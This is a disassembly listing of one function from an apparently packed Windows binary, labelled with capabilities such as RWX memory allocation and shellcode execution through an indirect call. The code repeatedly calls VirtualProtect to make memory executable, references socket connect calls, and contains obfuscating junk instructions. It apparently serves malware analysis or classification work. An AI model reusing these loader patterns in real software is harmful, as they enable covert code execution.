Function at 0x10007c3f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push 0x1c
call fcn.10098511
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 7
rep stosd dword es:[edi], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
push 8
call fcn.10098511
add esp, 4
mov dword [ebp - 0x24], eax
mov edi, eax
mov esi, 0x100a9215
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
jmp 0x10007cd1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
cmp dword [0x100af2e5], 0
je 0x10007d1e
jmp 0x10008cd3
call fcn.10008db6
test eax, eax
je 0x10007d3a
mov dword [0x100af2e5], 1
jmp 0x10008cd3
mov eax, 0x100a9668
test eax, eax
je 0x10007d56
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.10098511
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10007d67
push ebx
call fcn.10098517
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x30], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1770
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x10007da5
push 0x187
push 0x4026c12
push 6
call fcn.1009851d
add esp, 0xc
mov dword [ebp - 0x30], 0
push 0
lea eax, [ebp - 0x30]
push eax
push 0x1770
push dword [ebp + 8]
push 0xffffffff
call fcn.10008ed2
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x10007ddb
push ebx
call fcn.10098517
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
push 0x100a967e
mov ecx, 2
call fcn.1000218a
add esp, 8
mov dword [ebp - 0x30], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x10007e10
mov eax, 0x100a9215
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x10007e24
mov eax, 0x100a9215
push eax
push 3
mov ebx, 0x1ac
call fcn.1009acc0
add esp, 0x28
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x10007e4a
push ebx
call fcn.10098517
add esp, 4
cmp dword [ebp - 0x34], 0xffffffff
je 0x10007ed6
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100a9689
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x100a96ab
push 4
mov ebx, 0x300
call fcn.10099570
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100a9689
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x100a96ab
push 4
mov ebx, 0x300
call fcn.10099570
add esp, 0x34
mov dword [0x100af2e5], 1
cmp dword [0x100af2e5], 0
jne 0x10008c9a
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x100a96e5]
fstp qword [ebp - 0x3c]
mov dword [ebp - 0x40], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 1
fld qword [ebp - 0x3c]
call fcn.100011a6
push eax
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x40], esp
je 0x10007f35
push 0x440
push 0x4026c12
push 6
call fcn.1009851d
add esp, 0xc
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x100a96e5]
fstp qword [ebp - 0x3c]
push 0x80000301
push 0
push 1
fld qword [ebp - 0x3c]
call fcn.100011a6
push 0x80000301
push 0
push eax
push 2
mov ebx, 0x910
call fcn.1009ae30
add esp, 0x1c
mov dword [ebp - 0x40], eax
mov eax, 0x100a96ed
xor ecx, ecx
test eax, eax
je 0x10007f86
mov ecx, dword [eax + 4]
push ecx
add eax, 8
push eax
mov eax, dword [ebp - 0x40]
xor ebx, ebx
test eax, eax
je 0x10007f97
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x10007fae
dec eax
test ecx, ecx
je 0x10007fae
call fcn.10007b93
add esp, 0xc
test eax, eax
mov eax, 0
sete al
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x10007fce
push ebx
call fcn.10098517
add esp, 4
cmp dword [ebp - 0x44], 0
je 0x1000805a
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100a9689
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x100a96f6
push 4
mov ebx, 0x300
call fcn.10099570
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100a9689
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x100a96f6
push 4
mov ebx, 0x300
call fcn.10099570
add esp, 0x34
mov dword [0x100af2e5], 1
cmp dword [0x100af2e5], 0
jne 0x10008c9a
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x100a96e5]
fstp qword [ebp - 0x3c]
mov dword [ebp - 0x40], esp
push 0x1c
push dword [ebp - 0x10]
fld qword [ebp - 0x3c]
call fcn.100011a6
push eax
xor eax, eax
call dword [0x100af535]
nop
nop
cmp dword [ebp - 0x40], esp
je 0x100080b3
push 0x6bf
push 0x4026c12
push 6
call fcn.1009851d
add esp, 0xc
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
lea eax, [ebp - 8]
push eax
push 0x40
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x100080fe
push 0x6f3
push 0x4026c12
push 6
call fcn.1009851d
add esp, 0xc
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
lea eax, [ebp - 8]
push eax
push 0x40
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x1000814c
push 0x736
push 0x4026c12
push 6
call fcn.1009851d
add esp, 0xc
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x100a9730]
fstp qword [ebp - 0x3c]
mov dword [ebp - 0x40], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1388
fld qword [ebp - 0x3c]
call fcn.100011a6
push eax
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x40], esp
je 0x1000819e
push 0x78b
push 0x4026c12
push 6
call fcn.1009851d
add esp, 0xc
mov dword [ebp - 0x30], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1388
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x100081d8
push 0x7c8
push 0x4026c12
push 6
call fcn.1009851d
add esp, 0xc
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push 0xffffffff
call fcn.10008ed2
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x1000821f
push ebx
call fcn.10098517
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x30]
fild dword [ebx]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
fadd qword [0x100a9738]
fstp qword [ebp - 0x40]
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x44]
push dword [ebx]
fld qword [ebp - 0x40]
call fcn.100011a6
push eax
push 0xffffffff
call fcn.10008ed2
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10008285
push ebx
call fcn.10098517
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x100a9730]
fstp qword [ebp - 0x3c]
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
push 0x1770
fld qword [ebp - 0x3c]
call fcn.100011a6
push eax
push 0xffffffff
call fcn.10008ed2
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x100082d7
push ebx
call fcn.10098517
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x30], 0
push 0
lea eax, [ebp - 0x30]
push eax
push 0x1770
push dword [ebp + 8]
push 0xffffffff
call fcn.10008ed2
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10008311
push ebx
call fcn.10098517
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 1
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
call fcn.10008f97
xor ecx, ecx
push eax
lea eax, [ebp - 0x28]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x1000871f
mov ebx, dword [ebp - 0x24]
call fcn.100011cd
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x1000836a
push 0x9b2
push 0x4026c12
push 4
call fcn.1009851d
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10008387
push 0x9b2
push 0x4026c12
push 1
call fcn.1009851d
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
cmp dword [ebp + 8], eax
jle 0x10008717
mov ebx, dword [ebp - 0x24]
call fcn.100011cd
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x100083c9
push 0xa0f
push 0x4026c12
push 4
call fcn.1009851d
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x100083e6
push 0xa0f
push 0x4026c12
push 1
call fcn.1009851d
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.100011cd
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x1000841a
push 0xa0f
push 0x4026c12
push 4
call fcn.1009851d
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10008437
push 0xa0f
push 0x4026c12
push 1
call fcn.1009851d
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x30]
fild dword [ebx]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
mov ebx, dword [ebp - 0x34]
fild dword [ebx]
fstp qword [ebp - 0x44]
fadd qword [ebp - 0x44]
fstp qword [ebp - 0x4c]
fild dword [ebp + 8]
fstp qword [ebp - 0x54]
fld qword [ebp - 0x54]
fsub qword [ebp - 0x4c]
fcomp qword [0x100a9593]
fnstsw ax
test ah, 1
je 0x10008717
mov ebx, dword [ebp - 0x24]
call fcn.100011cd
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x100084a1
push 0xa52
push 0x4026c12
push 4
call fcn.1009851d
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x100084be
push 0xa52
push 0x4026c12
push 1
call fcn.1009851d
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.100011cd
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x100084f2
push 0xa52
push 0x4026c12
push 4
call fcn.1009851d
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x1000850f
push 0xa52
push 0x4026c12
push 1
call fcn.1009851d
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
lea eax, [ebp - 8]
push eax
push 0x40
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x10008558
push 0xa52
push 0x4026c12
push 6
call fcn.1009851d
add esp, 0xc
mov ebx, dword [ebp - 0x24]
call fcn.100011cd
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x1000857f
push 0xabc
push 0x4026c12
push 4
call fcn.1009851d
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x1000859c
push 0xabc
push 0x4026c12
push 1
call fcn.1009851d
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.100011cd
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x100085d0
push 0xabc
push 0x4026c12
push 4
call fcn.1009851d
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x100085ed
push 0xabc
push 0x4026c12
push 1
call fcn.1009851d
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push 0xffffffff
call fcn.10008ed2
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x10008632
push ebx
call fcn.10098517
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x24]
call fcn.100011cd
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x1000865d
push 0xb07
push 0x4026c12
push 4
call fcn.1009851d
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x1000867a
push 0xb07
push 0x4026c12
push 1
call fcn.1009851d
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.100011cd
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x100086ae
push 0xb07
push 0x4026c12
push 4
call fcn.1009851d
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x100086cb
push 0xb07
push 0x4026c12
push 1
call fcn.1009851d
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x10008712
push 0xb07
push 0x4026c12
push 6
call fcn.1009851d
add esp, 0xc
jmp 0x1000871f
pop eax
pop ebx
pop ecx
jmp 0x10008335
add esp, 0xc
cmp dword [0x100af2e5], 0
jne 0x100087ab
push dword [ebp - 4]
push 0x100a967e
mov ecx, 2
call fcn.1000218a
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x10008760
mov eax, 0x100a9215
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10008774
mov eax, 0x100a9215
push eax
push 3
mov ebx, 0x1ac
call fcn.1009acc0
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000879a
push ebx
call fcn.10098517
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x100087ab
mov eax, 1
jmp 0x100087b0
mov eax, 0
test eax, eax
je 0x1000883a
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100a9689
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x100a9740
push 4
mov ebx, 0x300
call fcn.10099570
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100a9689
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x100a9740
push 4
mov ebx, 0x300
call fcn.10099570
add esp, 0x34
mov dword [0x100af2e5], 1
cmp dword [0x100af2e5], 0
jne 0x100088c3
push dword [ebp - 4]
push 0x100a967e
mov ecx, 2
call fcn.1000218a
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x10008878
mov eax, 0x100a9215
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x1000888c
mov eax, 0x100a9215
push eax
push 3
mov ebx, 0x1ac
call fcn.1009acc0
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x100088b2
push ebx
call fcn.10098517
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x100088c3
mov eax, 1
jmp 0x100088c8
mov eax, 0
test eax, eax
je 0x10008952
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100a9689
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x100a977a
push 4
mov ebx, 0x300
call fcn.10099570
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100a9689
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x100a977a
push 4
mov ebx, 0x300
call fcn.10099570
add esp, 0x34
mov dword [0x100af2e5], 1
cmp dword [0x100af2e5], 0
jne 0x100089db
push dword [ebp - 4]
push 0x100a967e
mov ecx, 2
call fcn.1000218a
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x10008990
mov eax, 0x100a9215
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x100089a4
mov eax, 0x100a9215
push eax
push 3
mov ebx, 0x1ac
call fcn.1009acc0
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x100089ca
push ebx
call fcn.10098517
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x100089db
mov eax, 1
jmp 0x100089e0
mov eax, 0
test eax, eax
je 0x10008a6a
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100a9689
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x100a97b4
push 4
mov ebx, 0x300
call fcn.10099570
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100a9689
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x100a97b4
push 4
mov ebx, 0x300
call fcn.10099570
add esp, 0x34
mov dword [0x100af2e5], 1
cmp dword [0x100af2e5], 0
jne 0x10008af3
push dword [ebp - 4]
push 0x100a967e
mov ecx, 2
call fcn.1000218a
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x10008aa8
mov eax, 0x100a9215
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x10008abc
mov eax, 0x100a9215
push eax
push 3
mov ebx, 0x1ac
call fcn.1009acc0
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x10008ae2
push ebx
call fcn.10098517
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x10008af3
mov eax, 1
jmp 0x10008af8
mov eax, 0
test eax, eax
je 0x10008b82
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100a9689
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x100a97ee
push 4
mov ebx, 0x300
call fcn.10099570
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100a9689
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x100a97ee
push 4
mov ebx, 0x300
call fcn.10099570
add esp, 0x34
mov dword [0x100af2e5], 1
cmp dword [0x100af2e5], 0
jne 0x10008c0b
push dword [ebp - 4]
push 0x100a967e
mov ecx, 2
call fcn.1000218a
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x10008bc0
mov eax, 0x100a9215
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x10008bd4
mov eax, 0x100a9215
push eax
push 3
mov ebx, 0x1ac
call fcn.1009acc0
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x10008bfa
push ebx
call fcn.10098517
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x10008c0b
mov eax, 1
jmp 0x10008c10
mov eax, 0
test eax, eax
je 0x10008c9a
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100a9689
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x100a9828
push 4
mov ebx, 0x300
call fcn.10099570
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100a9689
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x100a9828
push 4
mov ebx, 0x300
call fcn.10099570
add esp, 0x34
mov dword [0x100af2e5], 1
mov dword [0x100af2e5], 1
push ecx
push eax
mov eax, 1
mov ecx, 2
mov eax, 4
mov ecx, 2
pop eax
pop ecx
nop
jmp 0x10008ccd
nop
nop
nop
nop
nop
nop
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10008ce3
push ebx
call fcn.10098517
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x10008cf3
push ebx
call fcn.10098517
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
call fcn.10098517
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x10008d0f
push ebx
call fcn.10098517
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10008d1f
push ebx
call fcn.10098517
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x10008d2f
push ebx
call fcn.10098517
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10008d3f
push ebx
call fcn.10098517
add esp, 4
mov ebx, dword [ebp - 0x24]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10008d5d
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x10008d59
imul eax, dword [ebx]
jmp 0x10008d4e
mov ecx, eax
test ecx, ecx
je 0x10008d98
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
add ebx, 0x20
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.10098517
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.10098517
add esp, 4
pop ebx
call fcn.10098517
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x10008d63
call fcn.10098517
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x10008db0
push ebx
call fcn.10098517
add esp, 4
mov esp, ebp
pop ebp
ret 4